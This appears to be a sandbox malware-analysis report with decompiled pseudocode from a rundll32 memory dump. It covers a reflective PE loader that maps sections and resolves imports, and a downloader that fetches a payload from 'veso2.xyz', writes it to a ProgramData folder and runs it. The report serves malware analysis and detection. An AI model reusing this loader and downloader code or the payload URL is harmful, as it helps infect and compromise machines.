API String ID: 3239643929-0
Opcode ID: 88b5f71b9a24685b02a179a60394f8ab8ed429b5ee289f9b35cd5072d0e2bcd2
Instruction ID: fd8a2a22c17c528bb377cb98325e131eaaff1fc85092d16464f8e0c1ffe14295
Opcode Fuzzy Hash: 88b5f71b9a24685b02a179a60394f8ab8ed429b5ee289f9b35cd5072d0e2bcd2
Instruction Fuzzy Hash: 2181AB74A04209EFDB08DF98C894AADBBB1FF48314F148158E919AB355D734EA81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 011A18C0, Relevance: 5.2, APIs: 4, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E011A18C0(intOrPtr __ecx, intOrPtr* _a4) {
				void* _v8;
				signed int* _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t114;
				intOrPtr _t117;
				intOrPtr _t135;
				intOrPtr _t140;
				void* _t206;
				void* _t207;

				_v44 = __ecx;
				_t3 = _a4 + 4; // 0x3
				_v16 =  *_t3;
				_v28 = 1;
				_v32 =  *_a4 + 0xbadc25;
				if( *((intOrPtr*)(_v32 + 4)) != 0) {
					_v8 = _v16 +  *_v32;
					while(IsBadReadPtr(_v8, 0x14) == 0 &&  *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t21 = _a4 + 0x28; // 0x0
						_t26 = _a4 + 0x1c; // 0x0, executed
						_t114 =  *((intOrPtr*)( *_t26))(_v16 +  *((intOrPtr*)(_v8 + 0xc)),  *_t21); // executed
						_t207 = _t206 + 8;
						_v24 = _t114;
						if(_v24 != 0) {
							_t31 = _a4 + 0xc; // 0xffff
							_t35 = _a4 + 8; // 0x4
							_t117 = E011A1170( *_t35, 4 +  *_t31 * 4); // executed
							_t206 = _t207 + 8;
							_v36 = _t117;
							if(_v36 != 0) {
								 *((intOrPtr*)(_a4 + 8)) = _v36;
								_t48 = _a4 + 0xc; // 0xffff
								_t50 = _a4 + 8; // 0x4
								 *((intOrPtr*)( *_t50 +  *_t48 * 4)) = _v24;
								_t55 = _a4 + 0xc; // 0xffff
								 *(_a4 + 0xc) =  *_t55 + 1;
								if( *_v8 == 0) {
									_v12 = _v16 +  *((intOrPtr*)(_v8 + 0x10));
									_v20 = _v16 +  *((intOrPtr*)(_v8 + 0x10));
								} else {
									_v12 = _v16 +  *_v8;
									_v20 = _v16 +  *((intOrPtr*)(_v8 + 0x10));
								}
								while( *_v12 != 0) {
									if(( *_v12 & 0x80000000) == 0) {
										_v40 = _v16 +  *_v12;
										_t91 = _a4 + 0x28; // 0x0
										_t95 = _a4 + 0x20; // 0x0
										_t135 =  *((intOrPtr*)( *_t95))(_v24, _v40 + 2,  *_t91);
										_t206 = _t206 + 0xc;
										 *_v20 = _t135;
									} else {
										_t81 = _a4 + 0x28; // 0x0
										_t85 = _a4 + 0x20; // 0x0
										_t140 =  *((intOrPtr*)( *_t85))(_v24,  *_v12 & 0x0000ffff,  *_t81);
										_t206 = _t206 + 0xc;
										 *_v20 = _t140;
									}
									if( *_v20 != 0) {
										_v12 =  &(_v12[1]);
										_v20 = _v20 + 4;
										continue;
									} else {
										_v28 = 0;
										break;
									}
								}
								if(_v28 != 0) {
									_v8 = _v8 + 0x14;
									continue;
								}
								_t101 = _a4 + 0x28; // 0x0
								_t104 = _a4 + 0x24; // 0x0
								 *((intOrPtr*)( *_t104))(_v24,  *_t101);
								SetLastError(0x7f);
								break;
							}
							_t39 = _a4 + 0x28; // 0x0
							_t42 = _a4 + 0x24; // 0x0
							 *((intOrPtr*)( *_t42))(_v24,  *_t39);
							SetLastError(0xe);
							_v28 = 0;
							break;
						}
						SetLastError(0x7e);
						_v28 = 0;
						break;
					}
					return _v28;
				}
				return 1;
			}

0x011a18c6
0x011a18cc
0x011a18cf
0x011a18d2
0x011a18ea
0x011a18f4
0x011a1908
0x011a1916
0x011a193a
0x011a194b
0x011a194e
0x011a1950
0x011a1953
0x011a195a
0x011a1973
0x011a1981
0x011a1985
0x011a198a
0x011a198d
0x011a1994
0x011a19c6
0x011a19cc
0x011a19d2
0x011a19d8
0x011a19de
0x011a19e7
0x011a19f0
0x011a1a14
0x011a1a20
0x011a19f2
0x011a19fa
0x011a1a06
0x011a1a06
0x011a1a37
0x011a1a4a
0x011a1a7d
0x011a1a83
0x011a1a95
0x011a1a98
0x011a1a9a
0x011a1aa0
0x011a1a4c
0x011a1a4f
0x011a1a66
0x011a1a69
0x011a1a6b
0x011a1a71
0x011a1a71
0x011a1aa8
0x011a1a2b
0x011a1a34
0x00000000
0x011a1aaa
0x011a1aaa
0x00000000
0x011a1aaa
0x011a1aa8
0x011a1abc
0x011a1913
0x00000000
0x011a1913
0x011a1ac1
0x011a1acc
0x011a1acf
0x011a1ad6
0x00000000
0x011a1ad6
0x011a1999
0x011a19a4
0x011a19a7
0x011a19ae
0x011a19b4
0x00000000
0x011a19b4
0x011a195e
0x011a1964
0x00000000
0x011a1964
0x00000000
0x011a1ae3
0x00000000

APIs

IsBadReadPtr.KERNEL32(00000000,00000014), ref: 011A191C
SetLastError.KERNEL32(0000007E), ref: 011A195E

Memory Dump Source

Source File: 00000004.00000002.667595301.00000000011A1000.00000020.00000001.sdmp, Offset: 011A0000, based on PE: true

Associated: 00000004.00000002.667583917.00000000011A0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.667605650.00000000011A3000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.667615894.00000000011A4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_11a0000_rundll32.jbxd

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: 22ece9b88b11801215e915752318c59c68cab7abb1a1ce6d964d708a7e870799
Instruction ID: 22e66af2499eb9b7077e0e7f7f2e07ec618a590cb300a012b4d7666dfaa55108
Opcode Fuzzy Hash: 22ece9b88b11801215e915752318c59c68cab7abb1a1ce6d964d708a7e870799
Instruction Fuzzy Hash: D281B878A00209EFDB08CF88C590BAEBBB1FF48314F548158E959AB355D774EA81CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0115002D, Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,01150005), ref: 011500E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,01150005), ref: 01150111

Memory Dump Source

Source File: 00000004.00000002.667384317.0000000001150000.00000040.00000001.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1150000_rundll32.jbxd

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: 4b51d978ad25d3ec3282084c2ab42ec92477f4806fac8ece5158a499f96d6d77
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: 18D19F71604706DFD798CF99C88076AB7E0BF88318F18452DFDA58B242E774E845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 033710B0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 80
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E033710B0(void* __eflags) {
				signed int _v8;
				void _v36;
				void _v68;
				signed char* _v72;
				signed char* _v76;
				char _v80;
				char _v84;
				signed char* _t28;
				signed char* _t30;
				void* _t34;
				signed char* _t46;
				signed int _t71;
				void* _t72;
				void* _t75;
				void* _t76;
				void* _t80;

				_t80 = __eflags;
				_v8 =  *0x3373004 ^ _t71;
				memcpy( &_v36, "http://veso2.xyz/campo/r/r1", 7 << 2);
				memcpy( &_v68, "C:\\ProgramData\\huqvg\\huqvg.exe", 7 << 2);
				asm("movsw");
				asm("movsb");
				_t28 = E03371640(_t80,  &_v36,  &_v84, 1); // executed
				_t75 = _t72 + 0x24;
				_v72 = _t28;
				_t46 = _v72;
				_t81 = ( *_t46 & 0x000000ff) - 0x68;
				if(( *_t46 & 0x000000ff) != 0x68) {
					 *0x3373008(_v72);
					 *0x3373020(1);
					_t75 = _t75 + 8;
				}
				_t30 = E03371640(_t81, _v72,  &_v80, 1);
				_t76 = _t75 + 0xc;
				_v76 = _t30;
				if(( *_v76 & 0x000000ff) == 0x4d) {
					E03371350(_v76, _v80,  &_v68);
					_t76 = _t76 + 0xc;
					Sleep(0x3a98);
					E033712B0();
				}
				 *0x3373008(_v76);
				_t34 =  *0x3373008(_v72);
				E03371A04();
				return _t34;
			}

0x033710b0
0x033710bd
0x033710cf
0x033710de
0x033710e0
0x033710e2
0x033710ed
0x033710f2
0x033710f5
0x03371100
0x03371107
0x0337110a
0x03371110
0x0337111b
0x03371121
0x03371121
0x0337112e
0x03371133
0x03371136
0x0337114b
0x03371159
0x0337115e
0x03371166
0x0337116c
0x0337116c
0x03371175
0x03371182
0x03371192
0x0337119a

APIs

Part of subcall function 03371640: wsprintfA.USER32 ref: 0337173A
Part of subcall function 03371640: WSAStartup.WS2_32(00000102,?), ref: 0337174F

Sleep.KERNEL32(00003A98), ref: 03371166

Strings

http://veso2.xyz/campo/r/r1, xrefs: 033710C7
C:\ProgramData\huqvg\huqvg.exe, xrefs: 033710D6

Memory Dump Source

Source File: 00000004.00000002.668060924.0000000003371000.00000020.00000001.sdmp, Offset: 03370000, based on PE: true

Associated: 00000004.00000002.668050457.0000000003370000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.668070742.0000000003372000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3370000_rundll32.jbxd

Similarity

API ID: SleepStartupwsprintf
String ID: C:\ProgramData\huqvg\huqvg.exe$http://veso2.xyz/campo/r/r1
API String ID: 1691369139-3004619249
Opcode ID: e639489f4f4e76872ed355c5709c243d1208f1387c60783ac574e68ddd65f416
Instruction ID: eabdbdb26e0f75d0e1c5609ed583d9a6e74c1d2bc0c8a434013f106021ace170
Opcode Fuzzy Hash: e639489f4f4e76872ed355c5709c243d1208f1387c60783ac574e68ddd65f416
Instruction Fuzzy Hash: BB21B876E001089BDB24EBE4DC85EDFBB79FF48304F140028E506AB245D679AA05CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 03371040, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E03371040() {
				signed int _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _t12;
				char _t13;
				int _t15;
				void* _t16;
				char _t17;
				intOrPtr _t18;
				char _t21;
				char _t22;
				signed int _t23;

				_v8 =  *0x3373004 ^ _t23;
				_t12 = "C:\\ProgramData\\huqvg"; // 0x505c3a43
				_v32 = _t12;
				_t17 = "rogramData\\huqvg"; // 0x72676f72
				_v28 = _t17;
				_t21 = "amData\\huqvg"; // 0x61446d61
				_v24 = _t21;
				_t13 = "ta\\huqvg"; // 0x685c6174
				_v20 = _t13;
				_t18 =  *0x3372110; // 0x67767175
				_v16 = _t18;
				_t22 =  *0x3372114; // 0x0
				_v12 = _t22;
				_t15 = CreateDirectoryA( &_v32, 0); // executed
				if(_t15 == 0) {
					_t16 = 0;
				} else {
					_t16 = 1;
				}
				E03371A04();
				return _t16;
			}

0x0337104d
0x03371050
0x03371055
0x03371058
0x0337105e
0x03371061
0x03371067
0x0337106a
0x0337106f
0x03371072
0x03371078
0x0337107b
0x03371081
0x0337108a
0x03371092
0x03371098
0x03371094
0x03371094
0x03371094
0x0337109f
0x033710a7

APIs

CreateDirectoryA.KERNELBASE(?,00000000,?,?,?,?,?,?,033712A3), ref: 0337108A

Strings

C:\ProgramData\huqvg, xrefs: 03371050

Memory Dump Source

Source File: 00000004.00000002.668060924.0000000003371000.00000020.00000001.sdmp, Offset: 03370000, based on PE: true

Associated: 00000004.00000002.668050457.0000000003370000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.668070742.0000000003372000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3370000_rundll32.jbxd

Similarity

API ID: CreateDirectory
String ID: C:\ProgramData\huqvg
API String ID: 4241100979-3793086718
Opcode ID: 72f895e9b85fc31beae08449a66b4f919034f2944417c79fcbdd6e7a2950d153
Instruction ID: ad5c5c67bb06b4a8b39f3e7a0aa1f2a10c54652a76cd0cf28d257321799ec98f
Opcode Fuzzy Hash: 72f895e9b85fc31beae08449a66b4f919034f2944417c79fcbdd6e7a2950d153
Instruction Fuzzy Hash: B7013C74E0424C9FCB24EFAAE5C16AEBBF8FB19300F004469D945D3344D6349A04CF91

Uniqueness

Uniqueness Score: -1.00%

Function 011A1460, Relevance: 3.1, APIs: 2, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E011A1460(intOrPtr __ecx, intOrPtr* _a4, void** _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				long _v40;
				int _t74;

				_v36 = __ecx;
				if(_a8[2] != 0) {
					if((_a8[3] & 0x02000000) == 0) {
						if((_a8[3] & 0x20000000) == 0) {
							_v12 = 0;
						} else {
							_v12 = 1;
						}
						_v24 = _v12;
						if((_a8[3] & 0x40000000) == 0) {
							_v16 = 0;
						} else {
							_v16 = 1;
						}
						_v28 = _v16;
						if((_a8[3] & 0x80000000) == 0) {
							_v20 = 0;
						} else {
							_v20 = 1;
						}
						_v32 = _v20;
						_t48 = _v28 * 8; // 0x2347118
						_v8 =  *((intOrPtr*)((_v24 << 4) + _t48 + 0x11a5a00 + _v32 * 4));
						if((_a8[3] & 0x04000000) != 0) {
							_v8 = _v8 | 0x00000200;
						}
						_t74 = VirtualProtect( *_a8, _a8[2], _v8,  &_v40); // executed
						if(_t74 != 0) {
							return 1;
						} else {
							return 0;
						}
					}
					if( *_a8 != _a8[1]) {
						L8:
						return 1;
					}
					if(_a8[4] != 0) {
						L7:
						VirtualFree( *_a8, _a8[2], 0x4000); // executed
						goto L8;
					}
					_t14 = _a4 + 0x30; // 0x0
					if( *((intOrPtr*)( *_a4 + 0x38)) ==  *_t14 || _a8[2] %  *(_a4 + 0x30) == 0) {
						goto L7;
					} else {
						goto L8;
					}
				}
				return 1;
			}

0x011a1466
0x011a1470
0x011a1488
0x011a14f0
0x011a14fb
0x011a14f2
0x011a14f2
0x011a14f2
0x011a1505
0x011a1514
0x011a151f
0x011a1516
0x011a1516
0x011a1516
0x011a1529
0x011a1538
0x011a1543
0x011a153a
0x011a153a
0x011a153a
0x011a154d
0x011a1559
0x011a1566
0x011a1574
0x011a157f
0x011a157f
0x011a1597
0x011a159f
0x00000000
0x011a15a1
0x00000000
0x011a15a1
0x011a159f
0x011a1495
0x011a14da
0x00000000
0x011a14da
0x011a149e
0x011a14c2
0x011a14d4
0x00000000
0x011a14d4
0x011a14ab
0x011a14ae
0x00000000
0x00000000
0x00000000
0x00000000
0x011a14ae
0x00000000

APIs

VirtualFree.KERNELBASE(?,00000000,00004000,?,?,?,?,011A1718,011A4000,?,011A4000,00000000), ref: 011A14D4

Memory Dump Source

Source File: 00000004.00000002.667595301.00000000011A1000.00000020.00000001.sdmp, Offset: 011A0000, based on PE: true

Associated: 00000004.00000002.667583917.00000000011A0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.667605650.00000000011A3000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.667615894.00000000011A4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_11a0000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f1b7602c86294db3faa663711299814d8d072bd1fc9ef9d0c503a5df25d4abaa
Instruction ID: e0c8d7134982ac7f93515b1db42b38c8da48d95126f48ce17223f451aabde6ad
Opcode Fuzzy Hash: f1b7602c86294db3faa663711299814d8d072bd1fc9ef9d0c503a5df25d4abaa
Instruction Fuzzy Hash: 9C41FB78A00209EFDB18CF48C094BA9BBB2FF88314F58C159E85A5F355C775EA81CB80

Uniqueness

Uniqueness Score: -1.00%

Function 011A12A0, Relevance: 2.6, APIs: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E011A12A0(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				void* _t76;
				void* _t127;

				_v28 = __ecx;
				_t3 = _a16 + 4; // 0xf5e9
				_v16 =  *_t3;
				_t7 =  *_a16 + 0x14; // 0x508bf84d
				_t9 = ( *_t7 & 0x0000ffff) + 0x18; // 0x11a1e76
				_v8 =  *_a16 + _t9;
				_v20 = 0;
				while(1) {
					_t17 =  *_a16 + 6; // 0xe9000000
					if(_v20 >= ( *_t17 & 0x0000ffff)) {
						break;
					}
					if( *(_v8 + 0x10) != 0) {
						if(E011A1270(_v28, _a8,  *((intOrPtr*)(_v8 + 0x14)) +  *(_v8 + 0x10)) != 0) {
							_t76 = VirtualAlloc(_v16 +  *((intOrPtr*)(_v8 + 0xc)),  *(_v8 + 0x10), 0x1000, 4); // executed
							_v12 = _t76;
							if(_v12 != 0) {
								_v12 = _v16 +  *((intOrPtr*)(_v8 + 0xc));
								E011A10D0(_v12, _a4 +  *((intOrPtr*)(_v8 + 0x14)),  *(_v8 + 0x10));
								_t127 = _t127 + 0xc;
								 *((intOrPtr*)(_v8 + 8)) = _v12;
								L1:
								_v20 = _v20 + 1;
								_v8 = _v8 + 0x28;
								continue;
							}
							return 0;
						}
						return 0;
					}
					_v24 =  *((intOrPtr*)(_a12 + 0x38));
					if(_v24 <= 0) {
						L8:
						goto L1;
					}
					_v12 = VirtualAlloc(_v16 +  *((intOrPtr*)(_v8 + 0xc)), _v24, 0x1000, 4);
					if(_v12 != 0) {
						_v12 = _v16 +  *((intOrPtr*)(_v8 + 0xc));
						 *((intOrPtr*)(_v8 + 8)) = _v12;
						E011A1080(_v12, 0, _v24);
						_t127 = _t127 + 0xc;
						goto L8;
					}
					return 0;
				}
				return 1;
			}

0x011a12a6
0x011a12ac
0x011a12af
0x011a12bc
0x011a12c0
0x011a12c4
0x011a12c7
0x011a12e2
0x011a12e7
0x011a12ee
0x00000000
0x00000000
0x011a12fb
0x011a137e
0x011a139c
0x011a13a2
0x011a13a9
0x011a13b8
0x011a13d0
0x011a13d5
0x011a13de
0x011a12d0
0x011a12d6
0x011a12df
0x00000000
0x011a12df
0x00000000
0x011a13ab
0x00000000
0x011a1380
0x011a1303
0x011a130a
0x011a135e
0x00000000
0x011a135e
0x011a1327
0x011a132e
0x011a1340
0x011a1349
0x011a1356
0x011a135b
0x00000000
0x011a135b
0x00000000
0x011a1330
0x00000000

APIs

VirtualAlloc.KERNEL32(?,00000000,00001000,00000004), ref: 011A1321
VirtualAlloc.KERNELBASE(?,?,00001000,00000004,00000000,?,?,011A1E5E), ref: 011A139C

Memory Dump Source

Source File: 00000004.00000002.667595301.00000000011A1000.00000020.00000001.sdmp, Offset: 011A0000, based on PE: true

Associated: 00000004.00000002.667583917.00000000011A0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.667605650.00000000011A3000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.667615894.00000000011A4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_11a0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f403eec8e64fd5a9d6e8bcfaf7562f6cf746d05c4589a71bc5c95965248666aa
Instruction ID: 2627906a1f409949ab546ff65fc893464a7a4baea137e0a448b6e6998dfb02cf
Opcode Fuzzy Hash: f403eec8e64fd5a9d6e8bcfaf7562f6cf746d05c4589a71bc5c95965248666aa
Instruction Fuzzy Hash: 1F51CB78A04209EFCB08CF94C580AAEBBB1FF48314F608599E905A7345D370EE81CB95

Uniqueness

Uniqueness Score: -1.00%

Function 011A190D, Relevance: 2.5, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E011A190D() {
				intOrPtr _t95;
				intOrPtr _t99;
				intOrPtr _t102;
				intOrPtr _t118;
				intOrPtr _t123;
				void* _t179;
				void* _t181;
				void* _t183;
				void* _t184;

				L0:
				while(1) {
					L0:
					 *(_t179 - 4) =  *(_t179 - 4) + 0x14;
					if(IsBadReadPtr( *(_t179 - 4), 0x14) != 0 ||  *((intOrPtr*)( *(_t179 - 4) + 0xc)) == 0) {
						break;
					}
					L3:
					_t7 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
					_t12 =  *((intOrPtr*)(_t179 + 8)) + 0x1c; // 0x0, executed
					_t99 =  *((intOrPtr*)( *_t12))( *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0xc)),  *_t7); // executed
					_t183 = _t181 + 8;
					 *((intOrPtr*)(_t179 - 0x14)) = _t99;
					if( *((intOrPtr*)(_t179 - 0x14)) != 0) {
						L5:
						_t17 =  *((intOrPtr*)(_t179 + 8)) + 0xc; // 0xffff
						_t21 =  *((intOrPtr*)(_t179 + 8)) + 8; // 0x4
						_t102 = E011A1170( *_t21, 4 +  *_t17 * 4); // executed
						_t184 = _t183 + 8;
						 *((intOrPtr*)(_t179 - 0x20)) = _t102;
						if( *((intOrPtr*)(_t179 - 0x20)) != 0) {
							L7:
							 *((intOrPtr*)( *((intOrPtr*)(_t179 + 8)) + 8)) =  *((intOrPtr*)(_t179 - 0x20));
							_t34 =  *((intOrPtr*)(_t179 + 8)) + 0xc; // 0xffff
							_t36 =  *((intOrPtr*)(_t179 + 8)) + 8; // 0x4
							 *((intOrPtr*)( *_t36 +  *_t34 * 4)) =  *((intOrPtr*)(_t179 - 0x14));
							_t41 =  *((intOrPtr*)(_t179 + 8)) + 0xc; // 0xffff
							 *( *((intOrPtr*)(_t179 + 8)) + 0xc) =  *_t41 + 1;
							if( *( *(_t179 - 4)) == 0) {
								 *(_t179 - 8) =  *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0x10));
								 *((intOrPtr*)(_t179 - 0x10)) =  *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0x10));
							} else {
								 *(_t179 - 8) =  *((intOrPtr*)(_t179 - 0xc)) +  *( *(_t179 - 4));
								 *((intOrPtr*)(_t179 - 0x10)) =  *((intOrPtr*)(_t179 - 0xc)) +  *((intOrPtr*)( *(_t179 - 4) + 0x10));
							}
							L12:
							while( *( *(_t179 - 8)) != 0) {
								if(( *( *(_t179 - 8)) & 0x80000000) == 0) {
									 *((intOrPtr*)(_t179 - 0x24)) =  *((intOrPtr*)(_t179 - 0xc)) +  *( *(_t179 - 8));
									_t77 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
									_t81 =  *((intOrPtr*)(_t179 + 8)) + 0x20; // 0x0
									_t118 =  *((intOrPtr*)( *_t81))( *((intOrPtr*)(_t179 - 0x14)),  *((intOrPtr*)(_t179 - 0x24)) + 2,  *_t77);
									_t184 = _t184 + 0xc;
									 *((intOrPtr*)( *((intOrPtr*)(_t179 - 0x10)))) = _t118;
								} else {
									_t67 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
									_t71 =  *((intOrPtr*)(_t179 + 8)) + 0x20; // 0x0
									_t123 =  *((intOrPtr*)( *_t71))( *((intOrPtr*)(_t179 - 0x14)),  *( *(_t179 - 8)) & 0x0000ffff,  *_t67);
									_t184 = _t184 + 0xc;
									 *((intOrPtr*)( *((intOrPtr*)(_t179 - 0x10)))) = _t123;
								}
								L16:
								if( *((intOrPtr*)( *((intOrPtr*)(_t179 - 0x10)))) != 0) {
									L18:
									L11:
									 *(_t179 - 8) =  &(( *(_t179 - 8))[1]);
									 *((intOrPtr*)(_t179 - 0x10)) =  *((intOrPtr*)(_t179 - 0x10)) + 4;
									continue;
								} else {
									L17:
									 *((intOrPtr*)(_t179 - 0x18)) = 0;
								}
								break;
							}
							L19:
							if( *((intOrPtr*)(_t179 - 0x18)) != 0) {
								L21:
								continue;
							} else {
								L20:
								_t87 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
								_t90 =  *((intOrPtr*)(_t179 + 8)) + 0x24; // 0x0
								 *((intOrPtr*)( *_t90))( *((intOrPtr*)(_t179 - 0x14)),  *_t87);
								SetLastError(0x7f);
							}
						} else {
							L6:
							_t25 =  *((intOrPtr*)(_t179 + 8)) + 0x28; // 0x0
							_t28 =  *((intOrPtr*)(_t179 + 8)) + 0x24; // 0x0
							 *((intOrPtr*)( *_t28))( *((intOrPtr*)(_t179 - 0x14)),  *_t25);
							SetLastError(0xe);
							 *((intOrPtr*)(_t179 - 0x18)) = 0;
						}
					} else {
						L4:
						SetLastError(0x7e);
						 *((intOrPtr*)(_t179 - 0x18)) = 0;
					}
					break;
				}
				L22:
				_t95 =  *((intOrPtr*)(_t179 - 0x18));
				return _t95;
			}

0x011a190d
0x011a190d
0x011a190d
0x011a1913
0x011a1924
0x00000000
0x00000000
0x011a1937
0x011a193a
0x011a194b
0x011a194e
0x011a1950
0x011a1953
0x011a195a
0x011a1970
0x011a1973
0x011a1981
0x011a1985
0x011a198a
0x011a198d
0x011a1994
0x011a19c0
0x011a19c6
0x011a19cc
0x011a19d2
0x011a19d8
0x011a19de
0x011a19e7
0x011a19f0
0x011a1a14
0x011a1a20
0x011a19f2
0x011a19fa
0x011a1a06
0x011a1a06
0x00000000
0x011a1a37
0x011a1a4a
0x011a1a7d
0x011a1a83
0x011a1a95
0x011a1a98
0x011a1a9a
0x011a1aa0
0x011a1a4c
0x011a1a4f
0x011a1a66
0x011a1a69
0x011a1a6b
0x011a1a71
0x011a1a71
0x011a1aa2
0x011a1aa8
0x011a1ab3
0x011a1a25
0x011a1a2b
0x011a1a34
0x00000000
0x011a1aaa
0x011a1aaa
0x011a1aaa
0x011a1aaa
0x00000000
0x011a1aa8
0x011a1ab8
0x011a1abc
0x011a1ade
0x00000000
0x011a1abe
0x011a1abe
0x011a1ac1
0x011a1acc
0x011a1acf
0x011a1ad6
0x011a1ad6
0x011a1996
0x011a1996
0x011a1999
0x011a19a4
0x011a19a7
0x011a19ae
0x011a19b4
0x011a19b4
0x011a195c
0x011a195c
0x011a195e
0x011a1964
0x011a1964
0x00000000
0x011a195a
0x011a1ae3
0x011a1ae3
0x011a1ae9

APIs

IsBadReadPtr.KERNEL32(00000000,00000014), ref: 011A191C
SetLastError.KERNEL32(0000007E), ref: 011A195E
SetLastError.KERNEL32(0000000E), ref: 011A19AE

Memory Dump Source

Source File: 00000004.00000002.667595301.00000000011A1000.00000020.00000001.sdmp, Offset: 011A0000, based on PE: true

Associated: 00000004.00000002.667583917.00000000011A0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.667605650.00000000011A3000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.667615894.00000000011A4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_11a0000_rundll32.jbxd

Similarity

API ID: ErrorLast$Read
String ID:
API String ID: 1935436914-0
Opcode ID: 6a53964c82bccadc7b74fdd14368c65bed11f1ba01782cb377bc4889e4e1868b
Instruction ID: 029f582e3a14b93e376b81ea335e854d6eef6ccec4ba1895468162e1546707d2
Opcode Fuzzy Hash: 6a53964c82bccadc7b74fdd14368c65bed11f1ba01782cb377bc4889e4e1868b
Instruction Fuzzy Hash: EC011D74A00208EFDB18CF94C545BAEBBB1FF44314F648158E905AB281C774DE80DB95

Uniqueness

Uniqueness Score: -1.00%

Function 01191D10, Relevance: 1.6, APIs: 1, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.667473154.0000000001191000.00000020.00000001.sdmp, Offset: 01191000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1191000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f61caf7e76d8d05a3f4a5300af70d01faf4a0b27ad894de6c0403e09aca9458f
Instruction ID: 97161bf438e20c25ddd482d5648729955bc9bd6e6a55219b1e414c1c2e0f1c23
Opcode Fuzzy Hash: f61caf7e76d8d05a3f4a5300af70d01faf4a0b27ad894de6c0403e09aca9458f
Instruction Fuzzy Hash: EE41CA74A00109AFEB09DF48C494BAEB7B2FB88324F14C559E9295F355C775EA82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 011A1AF0, Relevance: 1.5, APIs: 1, Instructions: 15
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E011A1AF0(void* __ecx, CHAR* _a4) {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _t6;

				_t6 = LoadLibraryA(_a4); // executed
				_v8 = _t6;
				if(_v8 != 0) {
					return _v8;
				}
				return 0;
			}

0x011a1af8
0x011a1afe
0x011a1b05
0x00000000
0x011a1b0b
0x00000000

APIs

LoadLibraryA.KERNELBASE(?), ref: 011A1AF8

Memory Dump Source

